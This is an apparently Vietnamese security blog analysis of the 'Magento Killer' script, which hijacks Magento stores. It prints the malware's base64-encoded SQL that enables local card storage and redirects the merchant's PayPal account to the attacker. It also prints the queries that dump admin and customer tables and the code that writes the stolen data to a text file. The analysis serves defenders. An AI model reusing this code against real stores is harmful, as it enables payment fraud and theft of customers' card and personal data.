Computer >> Hướng Dẫn Máy Tính >  >> Kết Nối Mạng >> An Ninh Mạng

Magento Killer Exploit: Cách Nó Nhắm Vào Trang Magento & Tác Động

Một script mới tên Magento Killer gần đây nhắm vào trang web Magento. Script $ConfKiller nhắm vào file quan trọng nhất: file config (cấu hình). Nếu thực thi thành công, $ConfKiller có thể sửa đổi bảng core_config_data của database Magento bị tấn công.

Mặc dù không kill toàn bộ cài đặt Magento, nó vẫn gây hại nghiêm trọng. Magento Killer thực hiện đánh cắp dữ liệu nghiêm trọng: thông tin thẻ tín từ, thông tin nhận dạng cá nhân, email, địa chỉ thanh toán, v.v.

$ConfKiller: Cách Thức Hoạt Động

Hacker làm theo chuỗi bước để đánh cắp dữ liệu. Tôi cố gắng giải thích modus operandi của script Magento Killer đơn giản nhất. Vậy quá trình như sau:

Bước 1: Thay Thế Tài Khoản PayPal Của Merchant

Đầu tiên, kẻ tấn công chèn truy vấn SQL đặc biệt được mã hóa base64. Truy vấn chèn trông như sau:

$ConfKiller = array( 'Update DB (Savecc)' => base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQNCmBzY29wZWAgPSAnZGVmYXVsdCcsDQpgc2NvcGVfaWRgID0gJzAnLA0KYHBhdGhgID0gJ3BheW1lbnQvY2NzYXZlL2FjdGl2ZScsDQpgdmFsdWVgID0gJzEnDQpXSEVSRSBgcGF0aGAgPSAncGF5bWVudC9jY3NhdmUvYWN0aXZlJzs='), //UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'payment/ccsave/active', `value` = '1' WHERE `path` = 'payment/ccsave/active'; 'Update PP (MailPP)' => base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQKYHNjb3BlYCA9ICdkZWZhdWx0JywKYHNjb3BlX2lkYCA9ICcwJywKYHBhdGhgID0gJ3BheXBhbC9nZW5lcmFsL2J1c2luZXNzX2FjY291bnQnLApgdmFsdWVgID0gJ1tyZWRhY3RlZF1AZ21haWwuY29tJwpXSEVSRSBgcGF0aGAgPSAncGF5cGFsL2dlbmVyYWwvYnVzaW5lc3NfYWNjb3VudCc7') //UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'paypal/general/business_account', `value` = '[redacted]@gmail.com' WHERE `path` = 'paypal/general/business_account';

Phân tích code, có hai request được thực hiện:

  1. Update DB (Savecc): Request này cấu hình trang web Magento để lưu thông tin thẻ tín dụng khách hàng trên server, thay vì gửi đến payment processor (ví dụ authorize.net) như bình thường.
  2. Update PP (MailPP): Request này thay thế tài khoản PayPal của merchant trên trang Magento bị nhắm mục tiêu thành tài khoản khác theo ý muốn hacker.

Thường Magento mã hóa thông tin thẻ tín dụng lưu cục bộ, nhưng trong trường hợp này, nó không cung cấp nhiều bảo vệ.

Do đó, kẻ tấn công đánh cắp khóa mã hóa từ file Magento ./app/etc/local.xml vì họ đã có quyền truy cập filesystem. Với khóa này, họ giải mã thông tin thẻ tín dụng thành plaintext dễ hiểu.

Magento Killer Exploit: Cách Nó Nhắm Vào Trang Magento & Tác Động

Bước 2: Đánh Cắp Thông Tin Khách Hàng Bổ Sung

Dù đã có thông tin thẻ tín dụng, hacker không thể dùng nếu thiếu dữ liệu bổ sung. Vì vậy, hacker tiếp tục lấy dữ liệu khách hàng thêm: Họ tên, Email, Địa chỉ thanh toán, Số điện thoại, v.v.

Hacker gửi các dòng code dưới dạng truy vấn hiển thị database cho hacker:

            $query = array( 'admin_user'                        => 'SELECT * FROM admin_user' , 'aw_blog_comment'                   => 'SELECT * FROM aw_blog_comment' , 'core_email_queue_recipients'       => 'SELECT * FROM core_email_queue_recipients' , 'customer_entity'                   => 'SELECT * FROM customer_entity' ,

Bước 3: Lấy Dữ Liệu Vào File Text

Cuối cùng, hacker chuyển một số dữ liệu quan trọng vào file text. Trong trường hợp này, *-shcMail.txt là file text. Dưới đây là code đảm bảo thành công cuộc tấn công Magento Killer.

$namefile = md5(time())."-shcMail.txt"; foreach ($query as $shc_key => $shc_query) { $hasil = mysql_query($shc_query); while ( $kolom_db = mysql_fetch_assoc($hasil) ) { $mail[] = $kolom_db[$shcolom[$shc_key]]; $myfile = fopen($namefile, "a+") or die("Unable to open file!"); fwrite($myfile, $kolom_db[$shcolom[$shc_key]]."rn"); fclose($myfile);

Script này tạo link đến file *-shcMail.txt. Cuối cùng, nó render kết quả báo cho hacker biết hai thay đổi cài đặt ban đầu thành công hay không.

Kết Luận

Nếu bạn cũng nhận thấy trang web bị nhiễm mã độc này, làm theo hướng dẫn dọn dẹp mã độc từ trang Magento.

Hoặc bạn có thể bỏ qua việc đọc bài dài khác và dùng dọn dẹp mã độc ngay lập tức tại đây. Nếu chưa bị nhiễm, bảo vệ trang web với checklist bảo mật Magento này.